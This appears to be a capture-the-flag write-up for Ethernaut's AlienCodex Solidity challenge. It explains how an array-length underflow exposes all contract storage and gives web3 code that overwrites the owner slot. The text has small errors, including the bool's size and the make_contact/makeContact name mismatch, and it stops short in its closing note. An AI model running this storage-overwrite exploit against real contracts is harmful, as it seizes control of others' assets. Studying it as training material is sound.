The best way to explain this is via an exploit.

1. Consider the AlienCodex challenge from Ethernaut
2. We need to take control of the Contract AlienCodex

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

Background

1. Slot 0 will have owner from Ownable (contract AlienCodex is Ownable) which is 20 bytes

2. Next we have bool contact (8 bytes), by packing both of these will be in first 32 bytes (i.e Slot 0)

3. Next we have an array bytes32[] public codex.

   1. Solidity will store the size of the array in the next Slot
   2. So Slot 1 has 0, as the array is uninitialised

   How do we set owner?

   Key Insight

   • There is underflow possibility because of

    function retract() public contacted {
           codex.length--;
       }
   

   • When you run this, this does 0- - , it causes underflow and sets the length of the array to the entire Contract Storage which is 2^256-1

   • Now this means any contract slot is now addressable through our array

   • Where is arr[0] or codex[0] stored?

     • It is stored in keecak256(slot of length)
     • in this case slot of array length is 1, so codex[0] is stored at keecak256[1] = keccak256(uint256(1)) = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
     • codex[1] is stored in keecak256[1]+1, and codex[n] is stored at keecak256[1]+n

     Storage Slot	Description
     0	_owner (bytes 0–19), contact (byte 20)
     1	codex.length (uint256), initialized to 0
     keccak256(1)	codex[0]
     keccak256(1) + 1	codex[1]
     ...	...

• Slot formula

  slot_i = keecak256(1)+i
  // we want slot 0, so the euation becomes
  keccak256(1) + i ≡ 0 mod 2^256
  i = 2^256 - keccak256(1)
  

• Now we have i of the array and we have the function to set the owner

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }

• So as long as we find the i in the array corresponding to Storage 0, we can overwrite it to any byte context we want.

Solution using web3 in browser

// change flag so we can pass modifier
await contract.make_contact()
// do underflow
await contract.retract()

// calc keecak of 1
p = web3.utils.keccak256(web3.eth.abi.encodeParameters(["uint256"], [1]))

// calculate i
i = BigInt(2 ** 256) - BigInt(p)

// make the address 32 bytes, add leading zeroes, remove 0x from the address
content = '0x' + '0'.repeat(24) + player.slice(2)

// call the revise method to set owner
await contract.revise(i, content)

// can check also before submitting
await contract.owner() === player

Note on overflow and underflow

1. In EVM, all numbers are fixed-size: 256-bit unsigned integers (uint256), meaning they can only represent values in the range: 0 ≤ x < 2^256